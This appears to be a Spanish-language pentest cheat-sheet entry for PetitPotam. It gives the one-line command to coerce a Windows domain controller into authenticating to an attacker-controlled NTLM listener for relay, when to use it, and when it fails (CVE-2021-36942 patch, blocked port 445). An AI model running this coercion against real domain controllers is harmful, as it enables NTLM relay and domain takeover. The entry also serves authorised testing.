PetitPotam

python PetitPotam.py <listener-ip> <dc-ip>

Fuerza a un controlador de dominio a autenticarse contra un servidor NTLM mediante el protocolo MS-EFSRPC (PetitPotam).

Cuando quieres capturar hashes NTLM del DC a través de un relay. PetitPotam obliga al DC a autenticarse contra un servidor NTLM que controlas (ej. ntlmrelayx). Esto permite relay de autenticación del DC a otros servicios.

Si el DC tiene parches de seguridad contra PetitPotam (CVE-2021-36942). También si el firewall bloquea el puerto 445 o el DC no tiene expuesto el servicio de RPC.